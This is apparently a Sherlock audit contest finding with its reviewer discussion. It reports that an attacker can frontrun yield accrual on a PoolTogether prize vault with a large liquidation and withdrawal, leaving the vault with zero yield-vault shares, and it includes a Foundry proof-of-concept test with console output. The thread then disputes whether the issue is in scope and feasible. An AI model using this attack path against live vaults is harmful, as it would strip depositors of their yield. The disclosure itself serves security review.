0xSpearmint1 - An attacker can frontrun a yieldVault accumulating yield with a large liquidation to lose/steal the yield of all the users

[sherlock-admin2]

0xSpearmint1

high

An attacker can frontrun a yieldVault accumulating yield with a large liquidation to lose/steal the yield of all the users

Summary

An attacker can frontrun a yieldVault accumulating yield with a large liquidation to lose the yield for all the users

Vulnerability Detail

The vulnerability is that the attacker can take some steps (described in POC) to enter a state where yieldVault shares held by the prizeVault = 0

In this state any yield accumulated will not be attributed to the prizeVault hence not credited to the user's that deposited

So if an attacker frontruns yield accrual with a large liquidation + withdraw to enter the defined state, they can cause yield loss to all the users whose funds actually generated the yield in the first place.

The attacker can take advantage of this by preemptively depositing in the yieldVault directly to own some yieldVault shares, in this case they will be attributed all the yield to themselves

The attack is best described as a set of steps so see the coded POC steps

Impact

Users lose their hard earned yield

Attacker can steal this yield

Proof of Concept

Replace the existing BaseIntegration.t.sol in /2024-05-pooltogether/pt-v5-vault/test/integration/BaseIntegration.t.sol with the following

```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import { Test } from "forge-std/Test.sol"; import { console2 } from "forge-std/console2.sol"; import { IERC20, IERC4626 } from "openzeppelin/token/ERC20/extensions/ERC4626.sol"; import { PrizePool } from "pt-v5-prize-pool/PrizePool.sol"; import { TwabController } from "pt-v5-twab-controller/TwabController.sol"; import { ERC20PermitMock } from "../contracts/mock/ERC20PermitMock.sol"; import { PrizePoolMock } from "../contracts/mock/PrizePoolMock.sol"; import { Permit } from "../contracts/utility/Permit.sol"; import { PrizeVaultWrapper, PrizeVault } from "../contracts/wrapper/PrizeVaultWrapper.sol"; import { YieldVault } from "../contracts/mock/YieldVault.sol"; abstract contract BaseIntegration is Test, Permit { /* ============ events ============ */ event Deposit(address indexed sender, address indexed owner, uint256 assets, uint256 shares); event Transfer(address indexed from, address indexed to, uint256 value); event ClaimerSet(address indexed claimer); event LiquidationPairSet(address indexed tokenOut, address indexed liquidationPair); event YieldFeeRecipientSet(address indexed yieldFeeRecipient); event YieldFeePercentageSet(uint256 yieldFeePercentage); event MockContribute(address prizeVault, uint256 amount); event ClaimYieldFeeShares(address indexed recipient, uint256 shares); event TransferYieldOut(address indexed liquidationPair, address indexed tokenOut, address indexed recipient, uint256 amountOut, uint256 yieldFee); event Sponsor(address indexed caller, uint256 assets, uint256 shares); /* ============ variables ============ */ address public vitalik = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045; address public attacker = 0xEf57e88a27f8958D72fd9F983D28349374e6C110; address internal owner; uint256 internal ownerPrivateKey; address internal alice; uint256 internal alicePrivateKey; address internal bob; uint256 internal bobPrivateKey; PrizeVaultWrapper public prizeVault; string public vaultName = "PoolTogether Test Vault"; string public vaultSymbol = "pTest"; uint256 public yieldBuffer = 1e5; IERC4626 public yieldVault; ERC20PermitMock public underlyingAsset; uint8 public assetDecimals; uint256 public approxAssetUsdExchangeRate; ERC20PermitMock public prizeToken; address public claimer; PrizePoolMock public prizePool; uint32 public drawPeriodSeconds = 1 days; TwabController public twabController; /// @dev A low gas estimate of what it would cost in gas to manipulate the state into losing 1 wei of assets /// in a rounding error. (This should be a unachievable low estimate such that an attacker would never be able /// to cause repeated rounding errors for less). uint256 lowGasEstimateForStateChange = 100_000; /// @dev A low gas price estimate for the chain. uint256 lowGasPriceEstimate = 7 gwei; /// @dev Defined in 1e18 precision. (2e18 would be 2 ETH per USD) uint256 approxEthUsdExchangeRate = uint256(1e18) / uint256(3000); // approx 1 ETH for $3000 /// @dev Override to true if vault is not expected to have yield bool ignoreYield = false; /// @dev Override to true if vault cannot feasibly lose assets bool ignoreLoss = false; /// @dev Some yield vaults have predictable precision loss (such as Sonne which reduces precision of assets with their exchange rate). /// This optional variable can be set if this precision loss is acknowledged and appropriate countermeasures will be taken (ex. deploying /// a PrizeVault with a higher yield buffer to match the reduced precision). uint8 assetPrecisionLoss = 0; /* ============ setup ============ */ function setUpUnderlyingAsset() public virtual returns (IERC20 asset, uint8 decimals, uint256 approxAssetUsdExchangeRate); function setUpYieldVault() public virtual returns (IERC4626) { return new YieldVault( address(underlyingAsset), "Test Yield Vault", "yvTest" ); } function setUpFork() public virtual; function beforeSetup() public virtual; function afterSetup() public virtual; function setUp() public virtual { beforeSetup(); (owner, ownerPrivateKey) = makeAddrAndKey("Owner"); (alice, alicePrivateKey) = makeAddrAndKey("Alice"); (bob, bobPrivateKey) = makeAddrAndKey("Bob"); underlyingAsset = new ERC20PermitMock("SHIBE"); yieldVault = setUpYieldVault(); prizeToken = new ERC20PermitMock("POOL"); twabController = new TwabController(1 hours, uint32(block.timestamp)); prizePool = new PrizePoolMock(prizeToken, twabController); claimer = address(0xe291d9169F0316272482dD82bF297BB0a11D267f); // adjust yield buffer based-on mitigated precision loss yieldBuffer = 1e5 * (10 ** assetPrecisionLoss); prizeVault = new PrizeVaultWrapper( vaultName, vaultSymbol, yieldVault, PrizePool(address(prizePool)), claimer, bob, 0, yieldBuffer, // yield buffer address(this) ); prizeVault.setLiquidationPair(address(this)); // Fill yield buffer if non-zero: if (yieldBuffer > 0) { dealAssets(address(prizeVault), yieldBuffer); } afterSetup(); } /* ============ prank helpers ============ */ address private currentPrankee; /// @notice should be used instead of vm.startPrank so we can keep track of pranks within other pranks function startPrank(address prankee) public { currentPrankee = prankee; vm.startPrank(prankee); } /// @notice should be used instead of vm.stopPrank so we can keep track of pranks within other pranks function stopPrank() public { currentPrankee = address(0); vm.stopPrank(); } /// @notice pranks the address and sets the prank back to the msg sender at the end modifier prankception(address prankee) { address prankBefore = currentPrankee; vm.stopPrank(); vm.startPrank(prankee); _; vm.stopPrank(); if (prankBefore != address(0)) { vm.startPrank(prankBefore); } } /* ============ helpers to override ============ */ /// @dev The max amount of assets than can be dealt. function maxDeal() public virtual returns (uint256); /// @dev May revert if the amount requested exceeds the amount available to deal. function dealAssets(address to, uint256 amount) public virtual; /// @dev Some yield sources accrue by time, so it's difficult to accrue an exact amount. Call the /// function multiple times if the test requires the accrual of more yield than the default amount. function _accrueYield() internal virtual; /// @dev Simulates loss on the yield vault such that the value of it's shares drops function _simulateLoss() internal virtual; /// @dev Each integration test must override the `_accrueYield` internal function for this to work. function accrueYield() public returns (uint256) { uint256 assetsBefore = prizeVault.totalPreciseAssets(); _accrueYield(); uint256 assetsAfter = prizeVault.totalPreciseAssets(); if (yieldVault.balanceOf(address(prizeVault)) > 0) { // if the prize vault has any yield vault shares, check to ensure yield has accrued require(assetsAfter > assetsBefore, "yield did not accrue"); } else { if (underlyingAsset.balanceOf(address(prizeVault)) > 0) { // the underlying asset might be rebasing in some setups, so it's possible time passing has caused an increase in latent balance require(assetsAfter >= assetsBefore, "assets decreased while holding latent balance"); } else { // otherwise, we should expect no change on the prize vault require(assetsAfter == assetsBefore, "assets changed with zero yield shares"); } } return assetsAfter - assetsBefore; } function checkIgnoreYield() internal returns (bool) { if (ignoreYield) { console2.log("skipping test since yield is ignored..."); return true; } return false; } /// @dev Each integration test must override the `_simulateLoss` internal function for this to work. /// @return The loss the prize vault has incurred as a result of yield vault loss (if any) function simulateLoss() public returns (uint256) { uint256 assetsBefore = prizeVault.totalPreciseAssets(); _simulateLoss(); uint256 assetsAfter = prizeVault.totalPreciseAssets(); if (yieldVault.balanceOf(address(prizeVault)) > 0) { // if the prize vault has any yield vault shares, check to ensure some loss has occurred require(assetsAfter < assetsBefore, "loss not simulated"); } else { if (underlyingAsset.balanceOf(address(prizeVault)) > 0) { // the underlying asset might be rebasing in some setups, so it's possible time passing has caused an increase in latent balance require(assetsAfter >= assetsBefore, "assets decreased while holding latent balance"); return 0; } else { // otherwise, we should expect no change on the prize vault require(assetsAfter == assetsBefore, "assets changed with zero yield shares"); } } return assetsBefore - assetsAfter; } function checkIgnoreLoss() internal returns (bool) { if (ignoreLoss) { console2.log("skipping test since loss is ignored..."); return true; } return false; } /* ============ Integration Test Scenarios ============ */ ////////////////////////////////////////////////////////// /// Basic Asset Tests ////////////////////////////////////////////////////////// /// @dev Tests if the asset meets a minimum precision per dollar (PPD). If the asset /// is below this PPD, then it is possible that the yield buffer will not be able to sustain /// the rounding errors that will accrue on deposits and withdrawals. /// /// Also passes if the yield buffer is zero (no buffer is needed if rounding errors are impossible). function testAssetPrecisionMeetsMinimum() public { if (yieldBuffer > 0) { uint256 minimumPPD = 1e6; // USDC is the benchmark (6 decimals represent $1 of value) uint256 assetPPD = (1e18 * (10 ** (assetDecimals - assetPrecisionLoss))) / approxAssetUsdExchangeRate; assertGe(assetPPD, minimumPPD, "asset PPD > minimum PPD"); } } /// @notice Test if the attacker can cause rounding error loss on the prize vault by spending /// less in gas than the rounding error loss will cost the vault. /// /// @dev This is an important measure to test since it's possible that some yield vaults can essentially /// rounding errors to other holders of yield vault shares. If an attacker can cheaply cause repeated /// rounding errors on the prize vault, they can potentially profit by being a majority shareholder on /// the underlying yield vault. function testAssetRoundingErrorManipulationCost() public { uint256 costToManipulateInEth = lowGasPriceEstimate * lowGasEstimateForStateChange; uint256 costToManipulateInUsd = (costToManipulateInEth * 1e18) / approxEthUsdExchangeRate; uint256 costOfRoundingErrorInUsd = ((10 ** assetPrecisionLoss) * 1e18) / approxAssetUsdExchangeRate; // 10x threshold is set so an attacker would have to spend at least 10x the loss they can cause on the prize vault. uint256 multiplierThreshold = 10; assertLt(costOfRoundingErrorInUsd * multiplierThreshold, costToManipulateInUsd, "attacker can cheaply cause rounding errors"); } ////////////////////////////////////////////////////////// /// Deposit Tests ////////////////////////////////////////////////////////// /// @notice test deposit function testDeposit() public { uint256 amount = 10 ** assetDecimals; uint256 maxAmount = maxDeal() / 2; if (amount > maxAmount) amount = maxAmount; dealAssets(alice, amount); uint256 totalAssetsBefore = prizeVault.totalPreciseAssets(); uint256 totalSupplyBefore = prizeVault.totalSupply(); startPrank(alice); underlyingAsset.approve(address(prizeVault), amount); prizeVault.deposit(amount, alice); stopPrank(); uint256 totalAssetsAfter = prizeVault.totalPreciseAssets(); uint256 totalSupplyAfter = prizeVault.totalSupply(); assertEq(prizeVault.balanceOf(alice), amount, "shares minted"); assertApproxEqAbs( totalAssetsBefore + amount, totalAssetsAfter, 10 ** assetPrecisionLoss, "assets accounted for with possible rounding error" ); assertEq(totalSupplyBefore + amount, totalSupplyAfter, "supply increased by amount"); } /// @notice test multi-user deposit function testMultiDeposit() public { address[] memory depositors = new address[](3); depositors[0] = alice; depositors[1] = bob; depositors[2] = address(this); for (uint256 i = 0; i < depositors.length; i++) { uint256 amount = (10 ** assetDecimals) * (i + 1); uint256 maxAmount = maxDeal() / 2; if (amount > maxAmount) amount = maxAmount; dealAssets(depositors[i], amount); uint256 totalAssetsBefore = prizeVault.totalPreciseAssets(); uint256 totalSupplyBefore = prizeVault.totalSupply(); startPrank(depositors[i]); underlyingAsset.approve(address(prizeVault), amount); prizeVault.deposit(amount, depositors[i]); stopPrank(); uint256 totalAssetsAfter = prizeVault.totalPreciseAssets(); uint256 totalSupplyAfter = prizeVault.totalSupply(); assertEq(prizeVault.balanceOf(depositors[i]), amount, "shares minted"); assertApproxEqAbs( totalAssetsBefore + amount, totalAssetsAfter, 10 ** assetPrecisionLoss, "assets accounted for with possible rounding error" ); assertEq(totalSupplyBefore + amount, totalSupplyAfter, "supply increased by amount"); } } /// @notice test multi-user deposit w/yield accrual in between function testMultiDepositWithYieldAccrual() public { if (checkIgnoreYield()) return; address[] memory depositors = new address[](2); depositors[0] = alice; depositors[1] = bob; for (uint256 i = 0; i < depositors.length; i++) { uint256 amount = (10 ** assetDecimals) * (i + 1); uint256 maxAmount = maxDeal() / 2; if (amount > maxAmount) amount = maxAmount; dealAssets(depositors[i], amount); uint256 totalAssetsBefore = prizeVault.totalPreciseAssets(); uint256 totalSupplyBefore = prizeVault.totalSupply(); startPrank(depositors[i]); underlyingAsset.approve(address(prizeVault), amount); prizeVault.deposit(amount, depositors[i]); stopPrank(); uint256 totalAssetsAfter = prizeVault.totalPreciseAssets(); uint256 totalSupplyAfter = prizeVault.totalSupply(); assertEq(prizeVault.balanceOf(depositors[i]), amount, "shares minted"); assertApproxEqAbs( totalAssetsBefore + amount, totalAssetsAfter, 10 ** assetPrecisionLoss, "assets accounted for with possible rounding error" ); assertEq(totalSupplyBefore + amount, totalSupplyAfter, "supply increased by amount"); if (i == 0) { // accrue yield accrueYield(); } } } ////////////////////////////////////////////////////////// /// Withdrawal Tests ////////////////////////////////////////////////////////// /// @notice test withdraw /// @dev also tests for any active deposit / withdraw fees function testWithdraw() public { uint256 amount = 10 ** assetDecimals; uint256 maxAmount = maxDeal() / 2; if (amount > maxAmount) amount = maxAmount; dealAssets(alice, amount); uint256 totalAssetsBefore = prizeVault.totalPreciseAssets(); uint256 totalSupplyBefore = prizeVault.totalSupply(); startPrank(alice); underlyingAsset.approve(address(prizeVault), amount); prizeVault.deposit(amount, alice); prizeVault.withdraw(amount, alice, alice); stopPrank(); uint256 totalAssetsAfter = prizeVault.totalPreciseAssets(); uint256 totalSupplyAfter = prizeVault.totalSupply(); assertEq(prizeVault.balanceOf(alice), 0, "burns all user shares on full withdraw"); assertEq(underlyingAsset.balanceOf(alice), amount, "withdraws full amount of assets"); assertApproxEqAbs( totalAssetsBefore, totalAssetsAfter, 2 * 10 ** assetPrecisionLoss, "no assets missing except for possible rounding error" ); // 1 possible rounding error for deposit, 1 for withdraw assertEq(totalSupplyBefore, totalSupplyAfter, "supply same as before"); } /// @notice test withdraw with yield accrual function testWithdrawWithYieldAccrual() public { if (checkIgnoreYield()) return; uint256 amount = 10 ** assetDecimals; uint256 maxAmount = maxDeal() / 2; if (amount > maxAmount) amount = maxAmount; dealAssets(alice, amount); uint256 totalAssetsBefore = prizeVault.totalPreciseAssets(); uint256 totalSupplyBefore = prizeVault.totalSupply(); startPrank(alice); underlyingAsset.approve(address(prizeVault), amount); prizeVault.deposit(amount, alice); uint256 yield = accrueYield(); // accrue yield in between prizeVault.withdraw(amount, alice, alice); stopPrank(); uint256 totalAssetsAfter = prizeVault.totalPreciseAssets(); uint256 totalSupplyAfter = prizeVault.totalSupply(); assertEq(prizeVault.balanceOf(alice), 0, "burns all user shares on full withdraw"); assertEq(underlyingAsset.balanceOf(alice), amount, "withdraws full amount of assets"); assertApproxEqAbs( totalAssetsBefore + yield, totalAssetsAfter, 2 * 10 ** assetPrecisionLoss, "no assets missing except for possible rounding error" ); // 1 possible rounding error for deposit, 1 for withdraw assertEq(totalSupplyBefore, totalSupplyAfter, "supply same as before"); } /// @notice test all users withdraw function testWithdrawAllUsers() public { address[] memory depositors = new address[](3); depositors[0] = alice; depositors[1] = bob; depositors[2] = address(this); uint256[] memory amounts = new uint256[](3); // deposit for (uint256 i = 0; i < depositors.length; i++) { uint256 amount = (10 ** assetDecimals) * (i + 1); uint256 maxAmount = maxDeal() / 2; if (amount > maxAmount) amount = maxAmount; amounts[i] = amount; dealAssets(depositors[i], amount); startPrank(depositors[i]); underlyingAsset.approve(address(prizeVault), amount); prizeVault.deposit(amount, depositors[i]); stopPrank(); } // withdraw for (uint256 i = 0; i < depositors.length; i++) { uint256 totalAssetsBefore = prizeVault.totalPreciseAssets(); uint256 totalSupplyBefore = prizeVault.totalSupply(); startPrank(depositors[i]); prizeVault.withdraw(amounts[i], depositors[i], depositors[i]); stopPrank(); uint256 totalAssetsAfter = prizeVault.totalPreciseAssets(); uint256 totalSupplyAfter = prizeVault.totalSupply(); assertEq(prizeVault.balanceOf(depositors[i]), 0, "burned all user's shares on withdraw"); assertEq(underlyingAsset.balanceOf(depositors[i]), amounts[i], "withdrew full asset amount for user"); assertApproxEqAbs( totalAssetsBefore, totalAssetsAfter + amounts[i], 10 ** assetPrecisionLoss, "assets accounted for with no more than 1 wei rounding error" ); assertEq(totalSupplyBefore - amounts[i], totalSupplyAfter, "total supply decreased by amount"); } } /// @notice test all users withdraw during lossy state function testWithdrawAllUsersWhileLossy() public { if (checkIgnoreLoss()) return; address[] memory depositors = new address[](3); depositors[0] = alice; depositors[1] = bob; depositors[2] = address(this); // deposit for (uint256 i = 0; i < depositors.length; i++) { uint256 amount = (10 ** assetDecimals) * (i + 1); uint256 maxAmount = maxDeal() / 2; if (amount > maxAmount) amount = maxAmount; dealAssets(depositors[i], amount); startPrank(depositors[i]); underlyingAsset.approve(address(prizeVault), amount); prizeVault.deposit(amount, depositors[i]); stopPrank(); } // cause loss on the yield vault simulateLoss(); // ensure prize vault is in lossy state assertLt(prizeVault.totalPreciseAssets(), prizeVault.totalDebt()); // verify all users can withdraw a proportional amount of assets for (uint256 i = 0; i < depositors.length; i++) { uint256 shares = prizeVault.balanceOf(depositors[i]); uint256 totalAssetsBefore = prizeVault.totalPreciseAssets(); uint256 totalSupplyBefore = prizeVault.totalSupply(); uint256 totalDebtBefore = prizeVault.totalDebt(); uint256 expectedAssets = (shares * totalAssetsBefore) / totalDebtBefore; startPrank(depositors[i]); uint256 assets = prizeVault.redeem(shares, depositors[i], depositors[i]); stopPrank(); uint256 totalAssetsAfter = prizeVault.totalPreciseAssets(); uint256 totalSupplyAfter = prizeVault.totalSupply(); assertEq(assets, expectedAssets, "assets received proportional to shares / totalDebt"); assertEq(prizeVault.balanceOf(depositors[i]), 0, "burned all user's shares on withdraw"); assertEq(underlyingAsset.balanceOf(depositors[i]), assets, "withdrew assets for user"); assertApproxEqAbs( totalAssetsBefore, totalAssetsAfter + assets, 10 ** assetPrecisionLoss, "assets accounted for with no more than 1 wei rounding error" ); assertEq(totalSupplyBefore - shares, totalSupplyAfter, "total supply decreased by shares"); } } /// @notice test liquidation of assets function testAssetLiquidation() public { if (checkIgnoreYield()) return; // Deposit uint256 amount = 1000 * (10 ** assetDecimals); uint256 maxAmount = maxDeal() / 2; if (amount > maxAmount) amount = maxAmount; dealAssets(alice, amount); startPrank(alice); underlyingAsset.approve(address(prizeVault), amount); prizeVault.deposit(amount, alice); stopPrank(); // Yield Accrual uint256 approxYield = accrueYield(); uint256 availableYield = prizeVault.availableYieldBalance(); assertApproxEqAbs( approxYield, availableYield, 10 ** assetPrecisionLoss, "approx yield equals available yield balance" ); uint256 availableAssets = prizeVault.liquidatableBalanceOf(address(underlyingAsset)); assertGt(availableAssets, 0, "assets are available for liquidation"); // Liquidate prizeVault.transferTokensOut(address(0), bob, address(underlyingAsset), availableAssets); assertEq(underlyingAsset.balanceOf(bob), availableAssets, "liquidator is transferred expected assets"); assertApproxEqAbs(prizeVault.availableYieldBalance(), availableYield - availableAssets, 10 ** assetPrecisionLoss, "available yield decreased (w / 1 wei rounding error)"); assertApproxEqAbs(prizeVault.liquidatableBalanceOf(address(underlyingAsset)), 0, 10 ** assetPrecisionLoss, "no more assets can be liquidated (w/ 1 wei rounding error)"); } /// @notice test liquidatable balance of when lossy function testNoLiquidationWhenLossy() public { if (checkIgnoreYield() || checkIgnoreLoss()) return; // Deposit uint256 amount = 1000 * (10 ** assetDecimals); uint256 maxAmount = maxDeal() / 2; if (amount > maxAmount) amount = maxAmount; dealAssets(alice, amount); startPrank(alice); underlyingAsset.approve(address(prizeVault), amount); prizeVault.deposit(amount, alice); stopPrank(); // Yield Accrual uint256 approxYield = accrueYield(); uint256 availableYield = prizeVault.availableYieldBalance(); assertApproxEqAbs( approxYield, availableYield, 10 ** assetPrecisionLoss, "approx yield equals available yield balance" ); uint256 availableAssets = prizeVault.liquidatableBalanceOf(address(underlyingAsset)); assertGt(availableAssets, 0, "assets are available for liquidation"); uint256 availableShares = prizeVault.liquidatableBalanceOf(address(prizeVault)); assertGt(availableShares, 0, "shares are available for liquidation"); // Loss Occurs simulateLoss(); // No liquidations can occur if assets < debt availableYield = prizeVault.availableYieldBalance(); assertEq(availableYield, 0, "no available yield after loss"); availableAssets = prizeVault.liquidatableBalanceOf(address(underlyingAsset)); assertEq(availableAssets, 0, "no available asset liquidation after loss"); availableShares = prizeVault.liquidatableBalanceOf(address(prizeVault)); assertEq(availableShares, 0, "no available share liquidation after loss"); } } ```

Update the yieldVault MOCK so it is more realistic with the sanity check

Find it in /2024-05-pooltogether/pt-v5-vault/test/contracts/mock/YieldVault.sol

```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import { ERC4626Mock } from "openzeppelin/mocks/ERC4626Mock.sol"; import { Math } from "openzeppelin/utils/math/Math.sol"; contract YieldVault is ERC4626Mock { using Math for uint256; constructor(address _asset, string memory _name, string memory _symbol) ERC4626Mock(_asset) {} /** * We override the virtual shares and assets implementation since this approach captures * a very small part of the yield being accrued, which offsets by 1 wei * the withdrawable amount from the YieldVault and skews our unit tests equality comparisons. * Read this comment in the OpenZeppelin documentation to understand why: * https://github.com/openzeppelin/openzeppelin-contracts/blob/eedca5d873a559140d79cc7ec674d0e28b2b6ebd/contracts/token/ERC20/extensions/ERC4626.sol#L30 */ // function _convertToShares( // uint256 assets, // Math.Rounding rounding // ) internal view virtual override returns (uint256) { // uint256 supply = totalSupply(); // return (assets == 0 || supply == 0) ? assets : assets.mulDiv(supply, totalAssets(), rounding); // } // function _convertToAssets( // uint256 shares, // Math.Rounding rounding // ) internal view virtual override returns (uint256) { // uint256 supply = totalSupply(); // return (shares == 0 || supply == 0) ? shares : shares.mulDiv(totalAssets(), supply, rounding); // } function previewRedeem(uint256 shares) public view virtual override returns (uint256) { require(shares > 0, "Shares must be greater than 0"); return super.previewRedeem(shares); } } ```

Now add the following FrontrunToLoseYield.sol to /2024-05-pooltogether/pt-v5-vault/test/integration/FrontrunToLoseYield.sol

The following foundry test test__FrontrunToLoseYield() illustrates the attack scenario.

Run it with the following command line input

forge test --mt test__FrontrunToLoseYield -vv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import { Test } from "forge-std/Test.sol";
import { console } from "forge-std/console.sol";
import { BaseIntegration } from "./BaseIntegration.t.sol";

import { IERC20, IERC4626 } from "openzeppelin/token/ERC20/extensions/ERC4626.sol";

import { PrizePool } from "pt-v5-prize-pool/PrizePool.sol";
import { TwabController } from "pt-v5-twab-controller/TwabController.sol";

import { ERC20PermitMock } from "../contracts/mock/ERC20PermitMock.sol";
import { PrizePoolMock } from "../contracts/mock/PrizePoolMock.sol";
import { Permit } from "../contracts/utility/Permit.sol";

import { PrizeVaultWrapper, PrizeVault } from "../contracts/wrapper/PrizeVaultWrapper.sol";

import { YieldVault } from "../contracts/mock/YieldVault.sol";

contract FrontrunToLoseYield is Test, BaseIntegration {
    function setUp() override public {
        super.setUp();

        // Setup users
        underlyingAsset.mint(alice, type(uint128).max);
        vm.startPrank(alice);
        underlyingAsset.approve(address(prizeVault), type(uint128).max);

        underlyingAsset.mint(bob, type(uint128).max);
        vm.startPrank(bob);
        underlyingAsset.approve(address(prizeVault), type(uint128).max);

        underlyingAsset.mint(attacker, type(uint128).max);
        vm.startPrank(attacker);
        underlyingAsset.approve(address(prizeVault), type(uint128).max);

        underlyingAsset.mint(vitalik, type(uint128).max);
        vm.startPrank(vitalik);
        underlyingAsset.approve(address(prizeVault), type(uint128).max);
    }

    function setUpUnderlyingAsset() public override returns (IERC20 asset, uint8 decimals, uint256 approxAssetUsdExchangeRate) {}

    function setUpFork() public override {}

    function beforeSetup() public override {}

    function afterSetup() public override {}

    /* ============ helpers to override ============ */

    /// @dev The max amount of assets than can be dealt.
    function maxDeal() public override returns (uint256) {}

    /// @dev May revert if the amount requested exceeds the amount available to deal.
    function dealAssets(address to, uint256 amount) public override {}

    /// @dev Some yield sources accrue by time, so it's difficult to accrue an exact amount. Call the 
    /// function multiple times if the test requires the accrual of more yield than the default amount.
    function _accrueYield() internal override {
        vm.startPrank(alice);
        IERC20(underlyingAsset).transfer(address(yieldVault), 10000000);
    }

    /// @dev Simulates loss on the yield vault such that the value of it's shares drops
    function _simulateLoss() internal override {}

    function test__FrontrunToLoseYield() public {

        // Multiple users deposit into the vault
        vm.startPrank(alice);
        prizeVault.deposit(10e6, alice);

        vm.startPrank(attacker);
        prizeVault.deposit(10e6, attacker);

        vm.startPrank(vitalik);
        prizeVault.deposit(10e6, vitalik);

        console.log("Total YieldVault shares owned by PrizeVault after deposits =", yieldVault.balanceOf(address(prizeVault)));

        // The attacker sees an incoming yield Tx to the vault in the mempool, he will frontrun that Tx with the following Tx

        // The attacker directly transfers yield into the yieldVault
        vm.startPrank(attacker);
        underlyingAsset.transfer(address(yieldVault), 700000000e6);

        // The attacker immediately liquidates the yield for a minimal amount of prizeTokens (since the amount of yield does not influence the price)
        vm.stopPrank();
        prizeVault.transferTokensOut(address(0), bob, address(underlyingAsset), prizeVault.liquidatableBalanceOf(address(underlyingAsset)));

        console.log("Total YieldVault shares owned by PrizeVault after liquidation =", yieldVault.balanceOf(address(prizeVault)));

        // The attacker calls withdraw(), this will redeem the last yieldVault share      
        vm.startPrank(attacker);
        prizeVault.withdraw(prizeVault.balanceOf(attacker), attacker, attacker);

        // This shows there are no more yieldVault shares left
        console.log("Total YieldVault shares owned by PrizeVault after attacker withdraws =", yieldVault.balanceOf(address(prizeVault)));

        // Yield Accrual Tx goes through BUT since the prizeVault has 0 shares they will not be credited to the PrizeVault users
        _accrueYield();

        // At this point if the attacker own's his own yieldVault shares he would have stolen all the yield that was meant to be shared with the vault users too
    }

}

Console Output

Ran 1 test for test/integration/FrontrunToLoseYield.sol:FrontrunToLoseYield
[PASS] test__FrontrunToLoseYield() (gas: 614136)
Logs:
  Total YieldVault shares owned by PrizeVault after deposits = 30000000
  Total YieldVault shares owned by PrizeVault after liquidation = 1
  Total YieldVault shares owned by PrizeVault after attacker withdraws = 0

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.50ms (1.52ms CPU time)

Ran 1 test suite in 16.19ms (3.50ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Code Snippet

https://github.com/sherlock-audit/2024-05-pooltogether/blob/1aa1b8c028b659585e4c7a6b9b652fb075f86db3/pt-v5-vault/src/PrizeVault.sol#L747

Tool used

Manual Review

Recommendation

[nevillehuang]

Invalid, Yieldvault logic is OOS of this contest

[0xspearmint1]

This is a valid medium severity issue

Root cause: Frontrunning yield accrual by liquidating can lead to a loss of yield

Impact: Loss of yield to users

Potential Fix: This is a risk that should be communicated to users. Their deposits are not at risk but the yield is.

Note: In the POC section of my report I mention updating a mock, this is not necessary for this attack to work and the POC will run fine

The issue involves an attack path interacting with PoolTogether's contracts AND impacts depositors to the prizeVault therefore it must be in scope

Below is the POC with comments to show the attack path

```solidity function test__FrontrunToLoseYield() public { // Multiple users deposit into the vault vm.startPrank(alice); prizeVault.deposit(10e6, alice); vm.startPrank(attacker); prizeVault.deposit(10e6, attacker); vm.startPrank(vitalik); prizeVault.deposit(10e6, vitalik); console.log("Total YieldVault shares owned by PrizeVault after deposits =", yieldVault.balanceOf(address(prizeVault))); // The attacker sees an incoming yield Tx to the vault in the mempool, he will frontrun that Tx with the following Tx // The attacker directly transfers yield into the yieldVault vm.startPrank(attacker); underlyingAsset.transfer(address(yieldVault), 700000000e6); // The attacker immediately liquidates the yield for a minimal amount of prizeTokens (since the amount of yield does not influence the price) vm.stopPrank(); prizeVault.transferTokensOut(address(0), bob, address(underlyingAsset), prizeVault.liquidatableBalanceOf(address(underlyingAsset))); console.log("Total YieldVault shares owned by PrizeVault after liquidation =", yieldVault.balanceOf(address(prizeVault))); // The attacker calls withdraw(), this will redeem the last yieldVault share vm.startPrank(attacker); prizeVault.withdraw(prizeVault.balanceOf(attacker), attacker, attacker); // This shows there are no more yieldVault shares left console.log("Total YieldVault shares owned by PrizeVault after attacker withdraws =", yieldVault.balanceOf(address(prizeVault))); // Yield Accrual Tx goes through BUT since the prizeVault has 0 shares they will not be credited to the PrizeVault users _accrueYield(); // At this point if the attacker own's his own yieldVault shares he would have stolen all the yield that was meant to be shared with the vault users too } ```

[0xjuaan]

Escalate

On behalf of @0xspearmint1

[sherlock-admin3]

Escalate

On behalf of @0xspearmint1

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[0xspearmint1]

In the escalation I meant to say high severity

There is a definite loss of yield to users, without any restrictive constrains.

[WangSecurity]

To simplify the attack as much as possible, it's basically the first depositor attack and due to precision loss in yield vault, the attacker is able to get the shares of other users, correct? Hence, the root cause is how the yield vault implements deposits, correct?

[0xspearmint1]

@WangSecurity This is not a first depositor attack since it can occur at anytime not just in the beginning. The precision loss and YV deposit implementation is irrelevant for the attack to take place.

The root cause is that a large liquidation will result in YV shares owned by the PZ = 0.

The attacker does not get the shares of other users. The way liquidations happen in the protocol is that they redeem YV shares, if an attacker performs a large enough liquidation, they can redeem all the YV shares.

Since the PV now owns 0 YV shares it will not be attributed any yield.

The attack path involves frontrunning yield accrual by performing a large liquidation (clearly outlined in the POC) to enter the state of 0 YV shares.

Just to make it clear: The attack path will work REGARDLESS the implementation of the YV deposit function and REGARDLESS of precision loss in YV

[0x73696d616f]

This attack is invalid because the attacker loses the yield fee of that donation and there is a smoothing factor in the liquidation pair, which only allows liquidating a part of it, so the attacker would take a huge loss.

Also, I could not understand how the users lose their shares, or the shares of the yield owned by the prize vault go to 0, could you explain it with words and links?

[0xspearmint1]

The point you made does not make the attack invalid. Those are requirements for the attack to be very profitable, which I clearly abided by in my POC.

The coded POC is clear enough, go through the trace if you want more understanding.

[0x73696d616f]

No one will execute this if they lose upfront a hugh chunk of the donation.

[0xspearmint1]

if yield fee = 0 (which most live vaults do) the attacker loses nothing.

The smoothing factor does not prevent the attack it just makes it more complex and OOS of this issue.

Another point is that the attacker may be willing to spend $ in terms of yieldFee etc, if he can make back the profit in the yield that should have been attributed to the PV depositors.

[0x73696d616f]

It's not more complex, the smoothing factor only allows liquidating a % of the liquidatable balance, so the remaining % would be stuck in the vault.

Why would most live vaults pick a 0 liquidation fee?

